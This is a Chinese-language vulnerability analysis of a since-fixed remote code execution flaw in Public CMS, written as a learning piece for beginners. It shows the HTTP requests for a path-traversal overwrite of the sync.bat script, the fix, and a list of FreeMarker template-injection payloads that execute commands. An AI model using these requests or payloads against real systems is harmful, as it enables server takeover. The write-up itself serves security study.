某CMS的RCE漏洞分析&思路扩展(新手学习)
字数 1275 2025-08-06 08:35:11
Public CMS RCE漏洞分析与利用指南
0x00 漏洞概述
Public CMS是一个开源的Java CMS系统,存在一处远程代码执行(RCE)漏洞。该漏洞允许认证管理员通过模板替换功能修改系统脚本内容,进而执行任意命令。漏洞现已修复,但分析过程对学习CMS漏洞挖掘具有重要参考价值。
0x01 漏洞发现
关键功能点
- 系统提供执行脚本功能,支持bat(Windows)和sh(Linux)脚本
- 提供模板文本内容替换功能,可修改系统文件内容
初始请求分析
执行脚本的请求示例:
POST /publiccms_war/admin/sysSite/execScript?navTabId=sysSite/script HTTP/1.1
Host: 127.0.0.1:8081
...
_csrf=553ba132-1c5f-4218-bb35-f955109d8446&command=sync.bat¶meters=1
0x02 漏洞分析
路由与控制器
- 控制器方法处理
command和parameters参数 command为脚本名,parameters为参数siteId
执行流程
-
脚本名检查:
- 如果是
backupdb.bat或backupdb.sh,加载数据库配置 - 否则(如
sync.bat或sync.sh),对参数进行正则检查
- 如果是
-
命令执行:
- 创建文件路径:
CMS_FILEPATH + /script+ 脚本名 - 文件不存在时获取输入流内容并复制到脚本文件
- 使用
Runtime.getRuntime().exec()执行脚本
- 创建文件路径:
模板替换功能
替换模板的请求示例:
POST /publiccms_war/admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
...
_csrf=553ba132-1c5f-4218-bb35-f955109d8446&word=login&replace=1234&replaceList%5B0%5D.path=%2Fmember%2Flogin.html&replaceList%5B0%5D.indexs=0...
关键点:
word: 查询内容replace: 替换内容replaceList[0].path: 文件路径replaceList[0].indexs: 内容出现位置索引
路径穿越漏洞
- 系统未对替换的文件路径做限制
- 可使用
../../穿越到脚本目录 - 模板路径:
\publiccms\template\site_id\xx\xx - 脚本路径:
\publiccms\script\sync.bat
0x03 漏洞复现
步骤1:修改脚本内容
构造请求替换sync.bat内容:
POST /publiccms_war/admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
...
_csrf=553ba132-1c5f-4218-bb35-f955109d8446&word=echo%20%22repo%20not%20config!%22&replace=echo%20%22repo%20not%20config!%22%20%26%20start%20calc&replaceList%5B0%5D.path=../../script/sync.bat&replaceList%5B0%5D.indexs=0
步骤2:执行脚本触发命令
执行修改后的脚本将弹出计算器(Windows)或执行其他命令。
0x04 漏洞修复
修复方法:
- 添加
getSafeFileName方法 - 对传入路径中的
..做置空处理
0x05 漏洞扩展思路
1. 文件上传利用
- 修改上传路径到脚本目录
- 上传恶意脚本并执行
- 注意系统对路径安全的处理方法
2. 脚本执行路径控制
- 修改脚本执行路径到用户目录
- 注意系统对脚本名的匹配方法
- 该系统使用
ArrayUtils.contains严格匹配预设脚本名
3. 模板注入
该系统使用Freemarker 2.3.32版本,历史版本可利用POC:
new()方法(2.3.17前有效)
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
API方法(需api_builtin_enabled=true)
<#assign classLoader=object?api.class.protectionDomain.classLoader>
...
${ex("Calc"")}
2.3.30以下版本
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
...
${dwf.newInstance(ec,null)("whoami")}
总结
该漏洞展示了CMS系统中常见的几类安全问题:
- 未严格限制文件操作路径导致的目录穿越
- 命令执行功能缺乏足够的输入验证
- 模板系统可能存在的注入风险
对于安全研究人员,分析此类漏洞时应重点关注:
- 文件操作相关的路径处理
- 命令执行功能的实现方式
- 模板引擎的版本和配置
- 系统对用户输入的处理和过滤机制